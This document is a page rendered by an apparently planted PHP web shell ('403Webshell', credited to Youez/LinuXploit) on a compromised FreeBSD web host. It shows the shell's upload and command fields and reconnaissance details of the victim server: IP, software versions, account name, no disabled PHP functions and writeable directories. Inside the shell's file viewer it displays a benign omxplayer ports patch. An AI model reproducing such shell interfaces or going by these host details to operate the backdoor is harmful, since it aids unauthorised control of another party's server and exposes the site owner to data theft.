403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/multimedia/omxplayer/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/multimedia/omxplayer/files/patch-linux_PlatformDefs.h
--- linux/PlatformDefs.h.orig	2015-10-24 12:09:14 UTC
+++ linux/PlatformDefs.h
@@ -39,11 +39,11 @@
 #include <unistd.h>
 #include <pthread.h>
 #include <string.h>
-#ifdef __APPLE__
+#if defined(__APPLE__)
 #include <stdio.h>
 #include <sys/sysctl.h>
 #include <mach/mach.h>
-#else
+#elif defined(__linux__)
 #include <sys/sysinfo.h>
 #endif
 #include <sys/time.h>
@@ -416,8 +416,12 @@ typedef struct _SECURITY_ATTRIBUTES {
 #define FILE_CURRENT            1
 #define FILE_END                2
 
+#ifndef _S_IFREG
 #define _S_IFREG  S_IFREG
+#endif
+#ifndef _S_IFDIR
 #define _S_IFDIR  S_IFDIR
+#endif
 #define MAX_PATH PATH_MAX
 
 #define _stat stat

Youez - 2016 - github.com/yon3zu
LinuXploit